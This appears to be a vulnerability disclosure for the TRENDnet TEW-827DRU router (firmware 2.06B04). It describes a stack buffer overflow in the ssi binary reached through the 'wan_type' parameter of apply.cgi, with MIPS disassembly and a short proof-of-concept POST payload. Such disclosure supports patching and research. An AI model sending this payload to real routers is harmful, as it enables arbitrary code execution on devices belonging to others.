

# TEW-827DRU

## Firmware version

TEW-827DRU firmware: 2.06B04

## Description

TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains a stack-based buffer overflow in the ssi binary. The overflow allows an authenticated user to execute arbitrary code by POSTing to apply.cgi via the action st\_dev\_disconnect with a sufficiently long key "wan\_type".

## Detial

The bug in function: 0x42C234, binary: www/cgi/ssi  
The parameter 'wan\_type' pass to sprintf

```
0042C270      addiu    $a0, $v0, (aWanType - 0x4C0000) # "wan_type"
0042C274      la       $v0, getenv
0042C278      nop
0042C27C      move    $t9, $v0
0042C280      jalr    $t9 ; getenv
0042C284      nop
0042C288      lw       $gp, 0xA8+var_98($fp)
0042C28C      addiu    $v1, $fp, 0xA8+var_90
0042C290      move    $a0, $v1          # s
0042C294      move    $a1, $s0          # format
0042C298      move    $a2, $v0
0042C29C      la       $v0, sprintf
0042C2A0      nop
0042C2A4      move    $t9, $v0
0042C2A8      jalr    $t9 ; sprintf
0042C2AC      nop
0042C2B0      lw       $gp, 0xA8+var_98($fp)
0042C2B4      addiu    $v0, $fp, 0xA8+var_90
0042C2B8      move    $a0, $v0          # command
0042C2BC      la       $v0, system
0042C2C0      nop
0042C2C4      move    $t9, $v0
0042C2C8      jalr    $t9 ; system
```

## Send Package

```
payload = 'A'*0x100
scommand = bytes(payload, 'utf8')
data4 = {
    b'action': b'st_dev_disconnect',
    b'wan_type': scommand,
}
```